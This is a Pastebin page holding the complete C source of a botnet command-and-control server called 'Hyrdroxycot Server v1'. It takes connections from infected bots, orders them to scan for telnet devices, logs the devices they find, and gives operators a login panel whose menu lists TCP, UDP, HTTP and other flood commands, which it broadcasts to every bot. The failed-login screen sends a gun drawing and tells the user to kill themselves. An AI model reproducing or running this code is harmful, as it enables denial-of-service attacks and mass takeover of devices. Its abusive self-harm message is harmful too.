Advertisement
Guest User

Untitled

a guest
Aug 18th, 2017
781
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 23.29 KB | None | 0 0
  1. /*
  2. Usage: screen ./server [BOT-PORT] [THREADS] [CNC-PORT]
  3. Skype: DNS.DUMP
  4. Twitter: DNS_DUMP
  5. Made Date: 8-5-16
  6. Modified By "Narcotix"
  7. */
  8. /*
  9. # __ __ __
  10. # | \ | \ | \
  11. # | $$____ __ __ ____| $$ ______ ______ __ __ __ __ _______ ______ _| $$_
  12. # | $$ \ | \ | \ / $$ / \ / \ | \ / \| \ | \ / \ / \| $$ \
  13. # | $$$$$$$\| $$ | $$| $$$$$$$| $$$$$$\| $$$$$$\ \$$\/ $$| $$ | $$| $$$$$$$| $$$$$$\\$$$$$$
  14. # | $$ | $$| $$ | $$| $$ | $$| $$ \$$| $$ | $$ >$$ $$ | $$ | $$| $$ | $$ | $$ | $$ __
  15. # | $$ | $$| $$__/ $$| $$__| $$| $$ | $$__/ $$ / $$$$\ | $$__/ $$| $$_____ | $$__/ $$ | $$| \
  16. # | $$ | $$ \$$ $$ \$$ $$| $$ \$$ $$| $$ \$$\ \$$ $$ \$$ \ \$$ $$ \$$ $$
  17. # \$$ \$$ _\$$$$$$$ \$$$$$$$ \$$ \$$$$$$ \$$ \$$ _\$$$$$$$ \$$$$$$$ \$$$$$$ \$$$$
  18. # | \__| $$ | \__| $$
  19. # \$$ $$ \$$ $$
  20. # \$$$$$$ \$$$$$$
  21.  
  22. *** Hyrdroxycot Server v1 ***
  23. */
  24. #include <stdio.h>
  25. #include <stdlib.h>
  26. #include <stdint.h>
  27. #include <inttypes.h>
  28. #include <string.h>
  29. #include <sys/types.h>
  30. #include <sys/socket.h>
  31. #include <netdb.h>
  32. #include <unistd.h>
  33. #include <time.h>
  34. #include <fcntl.h>
  35. #include <sys/epoll.h>
  36. #include <errno.h>
  37. #include <pthread.h>
  38. #include <signal.h>
  39. #include <arpa/inet.h>
  40. #define MAXFDS 1000000
  41. //////////////////////////////////
  42. struct login_info {
  43. char username[20];
  44. char password[20];
  45. };
  46. static struct login_info accounts[10];
  47. struct clientdata_t {
  48. uint32_t ip;
  49. char connected;
  50. } clients[MAXFDS];
  51. struct telnetdata_t {
  52. int connected;
  53. } managements[MAXFDS];
  54. struct args {
  55. int sock;
  56. struct sockaddr_in cli_addr;
  57. };
  58. static volatile FILE *telFD;
  59. static volatile FILE *fileFD;
  60. static volatile int epollFD = 0;
  61. static volatile int listenFD = 0;
  62. static volatile int OperatorsConnected = 0;
  63. static volatile int TELFound = 0;
  64. static volatile int scannerreport;
  65. //////////////////////////////////
  66. int fdgets(unsigned char *buffer, int bufferSize, int fd) {
  67. int total = 0, got = 1;
  68. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  69. return got;
  70. }
  71. void trim(char *str) {
  72. int i;
  73. int begin = 0;
  74. int end = strlen(str) - 1;
  75. while (isspace(str[begin])) begin++;
  76. while ((end >= begin) && isspace(str[end])) end--;
  77. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  78. str[i - begin] = '\0';
  79. }
  80. static int make_socket_non_blocking (int sfd) {
  81. int flags, s;
  82. flags = fcntl (sfd, F_GETFL, 0);
  83. if (flags == -1) {
  84. perror ("fcntl");
  85. return -1;
  86. }
  87. flags |= O_NONBLOCK;
  88. s = fcntl (sfd, F_SETFL, flags);
  89. if (s == -1) {
  90. perror ("fcntl");
  91. return -1;
  92. }
  93. return 0;
  94. }
  95. static int create_and_bind (char *port) {
  96. struct addrinfo hints;
  97. struct addrinfo *result, *rp;
  98. int s, sfd;
  99. memset (&hints, 0, sizeof (struct addrinfo));
  100. hints.ai_family = AF_UNSPEC;
  101. hints.ai_socktype = SOCK_STREAM;
  102. hints.ai_flags = AI_PASSIVE;
  103. s = getaddrinfo (NULL, port, &hints, &result);
  104. if (s != 0) {
  105. fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  106. return -1;
  107. }
  108. for (rp = result; rp != NULL; rp = rp->ai_next) {
  109. sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  110. if (sfd == -1) continue;
  111. int yes = 1;
  112. if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  113. s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  114. if (s == 0) {
  115. break;
  116. }
  117. close (sfd);
  118. }
  119. if (rp == NULL) {
  120. fprintf (stderr, "Could not bind\n");
  121. return -1;
  122. }
  123. freeaddrinfo (result);
  124. return sfd;
  125. }
  126. void broadcast(char *msg, int us, char *sender)
  127. {
  128. int sendMGM = 1;
  129. if(strcmp(msg, "PING") == 0) sendMGM = 0;
  130. char *wot = malloc(strlen(msg) + 10);
  131. memset(wot, 0, strlen(msg) + 10);
  132. strcpy(wot, msg);
  133. trim(wot);
  134. time_t rawtime;
  135. struct tm * timeinfo;
  136. time(&rawtime);
  137. timeinfo = localtime(&rawtime);
  138. char *timestamp = asctime(timeinfo);
  139. trim(timestamp);
  140. int i;
  141. for(i = 0; i < MAXFDS; i++)
  142. {
  143. if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
  144. if(sendMGM && managements[i].connected)
  145. {
  146. send(i, "\x1b[37m", 5, MSG_NOSIGNAL);
  147. send(i, sender, strlen(sender), MSG_NOSIGNAL);
  148. send(i, ": ", 2, MSG_NOSIGNAL);
  149. }
  150. printf("sent to fd: %d\n", i);
  151. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  152. if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[36m> \x1b[0m", 13, MSG_NOSIGNAL);
  153. else send(i, "\n", 1, MSG_NOSIGNAL);
  154. }
  155. free(wot);
  156. }
  157. void *BotEventLoop(void *useless) {
  158. struct epoll_event event;
  159. struct epoll_event *events;
  160. int s;
  161. events = calloc (MAXFDS, sizeof event);
  162. while (1) {
  163. int n, i;
  164. n = epoll_wait (epollFD, events, MAXFDS, -1);
  165. for (i = 0; i < n; i++) {
  166. if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN))) {
  167. clients[events[i].data.fd].connected = 0;
  168. close(events[i].data.fd);
  169. continue;
  170. }
  171. else if (listenFD == events[i].data.fd) {
  172. while (1) {
  173. struct sockaddr in_addr;
  174. socklen_t in_len;
  175. int infd, ipIndex;
  176.  
  177. in_len = sizeof in_addr;
  178. infd = accept (listenFD, &in_addr, &in_len);
  179. if (infd == -1) {
  180. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  181. else {
  182. perror ("accept");
  183. break;
  184. }
  185. }
  186.  
  187. clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  188. int dup = 0;
  189. for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) {
  190. if(!clients[ipIndex].connected || ipIndex == infd) continue;
  191. if(clients[ipIndex].ip == clients[infd].ip) {
  192. dup = 1;
  193. break;
  194. }}
  195. if(dup) {
  196. if(send(infd, "!* LOLNOGTFO\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  197. close(infd);
  198. continue;
  199. }
  200. s = make_socket_non_blocking (infd);
  201. if (s == -1) { close(infd); break; }
  202. event.data.fd = infd;
  203. event.events = EPOLLIN | EPOLLET;
  204. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  205. if (s == -1) {
  206. perror ("epoll_ctl");
  207. close(infd);
  208. break;
  209. }
  210. clients[infd].connected = 1;
  211. send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL);
  212. }
  213. continue;
  214. }
  215. else {
  216. int datafd = events[i].data.fd;
  217. struct clientdata_t *client = &(clients[datafd]);
  218. int done = 0;
  219. client->connected = 1;
  220. while (1) {
  221. ssize_t count;
  222. char buf[2048];
  223. memset(buf, 0, sizeof buf);
  224. while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, datafd)) > 0) {
  225. if(strstr(buf, "\n") == NULL) { done = 1; break; }
  226. trim(buf);
  227. if(strcmp(buf, "PING") == 0) {
  228. if(send(datafd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; }
  229. continue;
  230. }
  231. if(strstr(buf, "REPORT ") == buf) {
  232. char *line = strstr(buf, "REPORT ") + 7;
  233. fprintf(telFD, "%s\n", line);
  234. fflush(telFD);
  235. TELFound++;
  236. continue;
  237. }
  238. if(strstr(buf, "PROBING") == buf) {
  239. char *line = strstr(buf, "PROBING");
  240. scannerreport = 1;
  241. continue;
  242. }
  243. if(strstr(buf, "REMOVING PROBE") == buf) {
  244. char *line = strstr(buf, "REMOVING PROBE");
  245. scannerreport = 0;
  246. continue;
  247. }
  248. if(strcmp(buf, "PONG") == 0) {
  249. continue;
  250. }
  251. printf("buf: \"%s\"\n", buf);
  252. }
  253. if (count == -1) {
  254. if (errno != EAGAIN) {
  255. done = 1;
  256. }
  257. break;
  258. }
  259. else if (count == 0) {
  260. done = 1;
  261. break;
  262. }
  263. if (done) {
  264. client->connected = 0;
  265. close(datafd);
  266. }}}}}}
  267. unsigned int BotsConnected() {
  268. int i = 0, total = 0;
  269. for(i = 0; i < MAXFDS; i++) {
  270. if(!clients[i].connected) continue;
  271. total++;
  272. }
  273. return total;
  274. }
  275. void *TitleWriter(void *sock) {
  276. int datafd = (int)sock;
  277. char string[2048];
  278. while(1) {
  279. memset(string, 0, 2048);
  280. sprintf(string, "%c]0;BOT COUNT: %d| USERS ONLINE: %d%c", '\033', BotsConnected(), OperatorsConnected, '\007');
  281. if(send(datafd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  282. sleep(2);
  283. }}
  284. int Find_Login(char *str) {
  285. FILE *fp;
  286. int line_num = 0;
  287. int find_result = 0, find_line=0;
  288. char temp[512];
  289.  
  290. if((fp = fopen("login.txt", "r")) == NULL){
  291. return(-1);
  292. }
  293. while(fgets(temp, 512, fp) != NULL){
  294. if((strstr(temp, str)) != NULL){
  295. find_result++;
  296. find_line = line_num;
  297. }
  298. line_num++;
  299. }
  300. if(fp)
  301. fclose(fp);
  302. if(find_result == 0)return 0;
  303. return find_line;
  304. }
  305. void *BotWorker(void *sock) {
  306. int datafd = (int)sock;
  307. int find_line;
  308. OperatorsConnected++;
  309. pthread_t title;
  310. char buf[2048];
  311. char* username;
  312. char* password;
  313. memset(buf, 0, sizeof buf);
  314. char botnet[2048];
  315. memset(botnet, 0, 2048);
  316. char botcount [2048];
  317. memset(botcount, 0, 2048);
  318. char statuscount [2048];
  319. memset(statuscount, 0, 2048);
  320.  
  321. FILE *fp;
  322. int i=0;
  323. int c;
  324. fp=fopen("login.txt", "r");
  325. while(!feof(fp)) {
  326. c=fgetc(fp);
  327. ++i;
  328. }
  329. int j=0;
  330. rewind(fp);
  331. while(j!=i-1) {
  332. fscanf(fp, "%s %s", accounts[j].username, accounts[j].password);
  333. ++j;
  334. }
  335.  
  336. if(send(datafd, "\x1b[36mUsername:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  337. if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  338. trim(buf);
  339. char* nickstring;
  340. sprintf(accounts[find_line].username, buf);
  341. nickstring = ("%s", buf);
  342. find_line = Find_Login(nickstring);
  343. if(strcmp(nickstring, accounts[find_line].username) == 0){
  344. if(send(datafd, "\x1b[30mPassword:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  345. if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  346. trim(buf);
  347. if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  348. memset(buf, 0, 2048);
  349. goto Banner;
  350. }
  351. failed:
  352. if(send(datafd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  353. char failed_line1[80];
  354. char failed_line2[80];
  355. char failed_line3[80];
  356. char failed_line4[80];
  357. char failed_line5[80];
  358. char failed_line6[80];
  359. char failed_line7[80];
  360.  
  361. sprintf(failed_line1, "\x1b[31m _________ _______\r\n");
  362. sprintf(failed_line2, "\x1b[31m _-----____/ ========================|______|\r\n");
  363. sprintf(failed_line3, "\x1b[31m | ______________/ \r\n");
  364. sprintf(failed_line4, "\x1b[31m | ___--_/(_) ^ \r\n");
  365. sprintf(failed_line5, "\x1b[31m |___ --- \r\n");
  366.  
  367. sprintf(failed_line6, "\x1b[31mYOU OFFICIALLY NEED TO KILLYOURSELF\r\n");
  368. sprintf(failed_line7, "\x1b[31m HERE IS THE GUN^^\r\n");
  369. if(send(datafd, failed_line1, strlen(failed_line1), MSG_NOSIGNAL) == -1) goto end;
  370. if(send(datafd, failed_line2, strlen(failed_line2), MSG_NOSIGNAL) == -1) goto end;
  371. if(send(datafd, failed_line3, strlen(failed_line3), MSG_NOSIGNAL) == -1) goto end;
  372. if(send(datafd, failed_line4, strlen(failed_line4), MSG_NOSIGNAL) == -1) goto end;
  373. if(send(datafd, failed_line5, strlen(failed_line5), MSG_NOSIGNAL) == -1) goto end;
  374. if(send(datafd, failed_line6, strlen(failed_line6), MSG_NOSIGNAL) == -1) goto end;
  375. if(send(datafd, failed_line7, strlen(failed_line7), MSG_NOSIGNAL) == -1) goto end;
  376. sleep(5);
  377. goto end;
  378.  
  379. Banner:
  380. pthread_create(&title, NULL, &TitleWriter, sock);
  381. char ascii_banner_line1 [5000];
  382. char ascii_banner_line2 [5000];
  383. char ascii_banner_line3 [5000];
  384. char ascii_banner_line4 [5000];
  385. char ascii_banner_line5 [5000];
  386. char ascii_banner_line6 [5000];
  387. char ascii_banner_line7 [5000];
  388. char welcome_line [80];
  389. char banner_bot_count [2048];
  390. memset(banner_bot_count, 0, 2048);
  391.  
  392. sprintf(ascii_banner_line1, "\x1b[36m **********************************************\r\n");
  393. sprintf(ascii_banner_line2, "\x1b[36m ****** ******\r\n");
  394. sprintf(ascii_banner_line3, "\x1b[36m ***** ┬ ┬┬ ┬┌┬┐┬─┐┌─┐─┐ ┬┬ ┬┌─┐┌─┐┌┬┐ *****\r\n");
  395. sprintf(ascii_banner_line4, "\x1b[36m **** ├─┤└┬┘ ││├┬┘│ │┌┴┬┘└┬┘│ │ │ │ ****\r\n");
  396. sprintf(ascii_banner_line5, "\x1b[36m ***** ┴ ┴ ┴ ─┴┘┴└─└─┘┴ └─ ┴ └─┘└─┘ ┴ *****\r\n");
  397. sprintf(ascii_banner_line6, "\x1b[36m ****** ******\r\n");
  398. sprintf(ascii_banner_line7, "\x1b[36m **********************************************\r\n");
  399. sprintf(welcome_line, "\r\n\x1b[37m ~[\x1b[36mWelcome, %s\x1b[37m]~\r\n", accounts[find_line].username);
  400. sprintf(banner_bot_count, "\x1b[37m ~[\x1b[36mBOT COUNT: %d\x1b[37m]~\r\n", BotsConnected(), OperatorsConnected);
  401.  
  402. if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  403. if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  404. if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  405. if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  406. if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  407. if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  408. if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  409. if(send(datafd, welcome_line, strlen(welcome_line), MSG_NOSIGNAL) == -1) goto end;
  410. while(1) {
  411. if(send(datafd, banner_bot_count, strlen(banner_bot_count), MSG_NOSIGNAL) == -1) goto end;
  412. if(send(datafd, "\x1b[36m> \x1b[37m", 12, MSG_NOSIGNAL) == -1) goto end;
  413. break;
  414. }
  415. pthread_create(&title, NULL, &TitleWriter, sock);
  416. managements[datafd].connected = 1;
  417.  
  418. while(fdgets(buf, sizeof buf, datafd) > 0)
  419. {
  420. if(strstr(buf, "BOTS")) {
  421. sprintf(botcount, "BOT COUNT: %d | USERS ONLINE: %d\r\n", BotsConnected(), OperatorsConnected);
  422. if(send(datafd, botcount, strlen(botcount), MSG_NOSIGNAL) == -1) return;
  423. continue;
  424. }
  425. if(strstr(buf, "STATUS")){
  426. sprintf(statuscount, "TELNET DEVICES: %d | TELNET STATUS: %d\r\n", TELFound, scannerreport);
  427. if(send(datafd, statuscount, strlen(statuscount), MSG_NOSIGNAL) == -1) return;
  428. continue;
  429. }
  430. if(strstr(buf, "HELP")) {
  431. pthread_create(&title, NULL, &TitleWriter, sock);
  432. char helpline1 [80];
  433. char helpline2 [80];
  434. char helpline3 [80];
  435. char helpline4 [80];
  436. char helpline5 [80];
  437. char helpline6 [80];
  438. char helpline7 [80];
  439. char helpline8 [80];
  440. char helpline9 [80];
  441. char helpline10 [80];
  442. char helpline11 [80];
  443. char helpline12 [80];
  444. char helpline13 [80];
  445. char helpline14 [80];
  446.  
  447.  
  448.  
  449. sprintf(helpline1, "\x1b[37m~[ATTACK COMMANDS]~\r\n");
  450. sprintf(helpline2, "\x1b[37m~[\x1b[36mTCP\x1b[37m]~ \x1b[36m!* TCP <IP> <PORT> <TIME> 32 all 10 10\r\n");
  451. sprintf(helpline3, "\x1b[37m~[\x1b[36mUDP\x1b[37m]~ \x1b[36m!* UDP <IP> <PORT> <TIME> 32 10 10\r\n");
  452. sprintf(helpline4, "\x1b[37m~[\x1b[36mSTD\x1b[37m]~ \x1b[36m!* STD <IP> <PORT> <TIME>\r\n");
  453. sprintf(helpline5, "\x1b[37m~[\x1b[36mHOLD\x1b[37m]~ \x1b[36m!* HOLD <IP> <PORT> <TIME>\r\n");
  454. sprintf(helpline6, "\x1b[37m~[\x1b[36mJUNK\x1b[37m]~ \x1b[36m!* JUNK <IP> <PORT> <TIME>\r\n");
  455. sprintf(helpline7, "\x1b[37m~[\x1b[36mHTTP\x1b[37m]~ \x1b[36m!* HTTP <URL> <TIME>\r\n");
  456. sprintf(helpline8, "\x1b[37m~[\x1b[36mSTOP ATTACK\x1b[37m]~ \x1b[36m>KILLATTK\r\n");
  457.  
  458. sprintf(helpline9, "\x1b[37m~[GENERAL COMMANDS]~\r\n");
  459. sprintf(helpline10, "\x1b[37m~[\x1b[36mCLEARSCREEN\x1b[37m]~ \x1b[36m>CLEARSCREEN\r\n");
  460. sprintf(helpline11, "\x1b[37m~[\x1b[36mLOGOUT\x1b[37m]~ \x1b[36m>LOGOUT\r\n");
  461. sprintf(helpline12, "\x1b[37m~[\x1b[36mSTATUS\x1b[37m]~ \x1b[36m>STATUS\r\n");
  462. sprintf(helpline13, "\x1b[37m~[\x1b[36mBOTS\x1b[37m]~ \x1b[36m>BOTS\r\n");
  463. sprintf(helpline14, "\x1b[37m~[\x1b[36mSH\x1b[37m]~ \x1b[36m!* SH\x1b[37m\r\n");
  464.  
  465.  
  466. if(send(datafd, helpline1, strlen(helpline1), MSG_NOSIGNAL) == -1) goto end;
  467. if(send(datafd, helpline2, strlen(helpline2), MSG_NOSIGNAL) == -1) goto end;
  468. if(send(datafd, helpline3, strlen(helpline3), MSG_NOSIGNAL) == -1) goto end;
  469. if(send(datafd, helpline4, strlen(helpline4), MSG_NOSIGNAL) == -1) goto end;
  470. if(send(datafd, helpline5, strlen(helpline5), MSG_NOSIGNAL) == -1) goto end;
  471. if(send(datafd, helpline6, strlen(helpline6), MSG_NOSIGNAL) == -1) goto end;
  472. if(send(datafd, helpline7, strlen(helpline7), MSG_NOSIGNAL) == -1) goto end;
  473. if(send(datafd, helpline8, strlen(helpline8), MSG_NOSIGNAL) == -1) goto end;
  474. if(send(datafd, helpline9, strlen(helpline9), MSG_NOSIGNAL) == -1) goto end;
  475. if(send(datafd, helpline10, strlen(helpline10), MSG_NOSIGNAL) == -1) goto end;
  476. if(send(datafd, helpline11, strlen(helpline11), MSG_NOSIGNAL) == -1) goto end;
  477. if(send(datafd, helpline12, strlen(helpline12), MSG_NOSIGNAL) == -1) goto end;
  478. if(send(datafd, helpline13, strlen(helpline13), MSG_NOSIGNAL) == -1) goto end;
  479. if(send(datafd, helpline14, strlen(helpline14), MSG_NOSIGNAL) == -1) goto end;
  480. pthread_create(&title, NULL, &TitleWriter, sock);
  481. continue;
  482. }
  483. if(strstr(buf, "KILLATTK")) {
  484. char killattack [2048];
  485. memset(killattack, 0, 2048);
  486. sprintf(killattack, "SUCCESFULLY STOPPED YOUR ATTACK\r\n");
  487. if(send(datafd, killattack, strlen(killattack), MSG_NOSIGNAL) == -1) goto end;
  488. continue;
  489. }
  490. if(strstr(buf, "CLEARSCREEN")) {
  491. char clearscreen [2048];
  492. memset(clearscreen, 0, 2048);
  493. sprintf(clearscreen, "\033[2J\033[1;1H");
  494. if(send(datafd, clearscreen, strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  495. if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  496. if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  497. if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  498. if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  499. if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  500. if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  501. if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  502. if(send(datafd, welcome_line, strlen(welcome_line), MSG_NOSIGNAL) == -1) goto end;
  503. while(1) {
  504. if(send(datafd, banner_bot_count, strlen(banner_bot_count), MSG_NOSIGNAL) == -1) goto end;
  505. if(send(datafd, "\x1b[36m> \x1b[37m", 12, MSG_NOSIGNAL) == -1) goto end;
  506. break;
  507. }
  508. continue;
  509. }
  510. if(strstr(buf, "LOGOUT")) {
  511. char logoutmessage [2048];
  512. memset(logoutmessage, 0, 2048);
  513. sprintf(logoutmessage, "Cyaz Laterz, %s", accounts[find_line].username);
  514. if(send(datafd, logoutmessage, strlen(logoutmessage), MSG_NOSIGNAL) == -1)goto end;
  515. sleep(5);
  516. goto end;
  517. }
  518. trim(buf);
  519. if(send(datafd, "\x1b[36m> \x1b[0m", 11, MSG_NOSIGNAL) == -1) goto end;
  520. if(strlen(buf) == 0) continue;
  521. printf("%s: \"%s\"\n",accounts[find_line].username, buf);
  522.  
  523. FILE *LogFile;
  524. LogFile = fopen("server_log.txt", "a");
  525. time_t now;
  526. struct tm *gmt;
  527. char formatted_gmt [50];
  528. char lcltime[50];
  529. now = time(NULL);
  530. gmt = gmtime(&now);
  531. strftime ( formatted_gmt, sizeof(formatted_gmt), "%I:%M %p", gmt );
  532. fprintf(LogFile, "[%s] %s: %s\n", formatted_gmt, accounts[find_line].username, buf);
  533. fclose(LogFile);
  534. broadcast(buf, datafd, accounts[find_line].username);
  535. memset(buf, 0, 2048);
  536. }
  537. end:
  538. managements[datafd].connected = 0;
  539. close(datafd);
  540. OperatorsConnected--;
  541. }
  542. void *BotListener(int port) {
  543. int sockfd, newsockfd;
  544. socklen_t clilen;
  545. struct sockaddr_in serv_addr, cli_addr;
  546. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  547. if (sockfd < 0) perror("ERROR opening socket");
  548. bzero((char *) &serv_addr, sizeof(serv_addr));
  549. serv_addr.sin_family = AF_INET;
  550. serv_addr.sin_addr.s_addr = INADDR_ANY;
  551. serv_addr.sin_port = htons(port);
  552. if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
  553. listen(sockfd,5);
  554. clilen = sizeof(cli_addr);
  555. while(1) {
  556. newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  557. if (newsockfd < 0) perror("ERROR on accept");
  558. pthread_t thread;
  559. pthread_create( &thread, NULL, &BotWorker, (void *)newsockfd);
  560. }}
  561. int main (int argc, char *argv[], void *sock)
  562. {
  563. signal(SIGPIPE, SIG_IGN);
  564. int s, threads, port;
  565. struct epoll_event event;
  566. if (argc != 4) {
  567. fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  568. exit (EXIT_FAILURE);
  569. }
  570. port = atoi(argv[3]);
  571. telFD = fopen("telnet.txt", "a+");
  572. threads = atoi(argv[2]);
  573. listenFD = create_and_bind (argv[1]);
  574. if (listenFD == -1) abort ();
  575. s = make_socket_non_blocking (listenFD);
  576. if (s == -1) abort ();
  577. s = listen (listenFD, SOMAXCONN);
  578. if (s == -1) {
  579. perror ("listen");
  580. abort ();
  581. }
  582. epollFD = epoll_create1 (0);
  583. if (epollFD == -1) {
  584. perror ("epoll_create");
  585. abort ();
  586. }
  587. event.data.fd = listenFD;
  588. event.events = EPOLLIN | EPOLLET;
  589. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  590. if (s == -1) {
  591. perror ("epoll_ctl");
  592. abort ();
  593. }
  594. pthread_t thread[threads + 2];
  595. while(threads--) {
  596. pthread_create( &thread[threads + 1], NULL, &BotEventLoop, (void *) NULL);
  597. }
  598. pthread_create(&thread[0], NULL, &BotListener, port);
  599. while(1) {
  600. broadcast("PING", -1, "LEL");
  601. sleep(60);
  602. }
  603. close (listenFD);
  604. return EXIT_SUCCESS;
  605. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement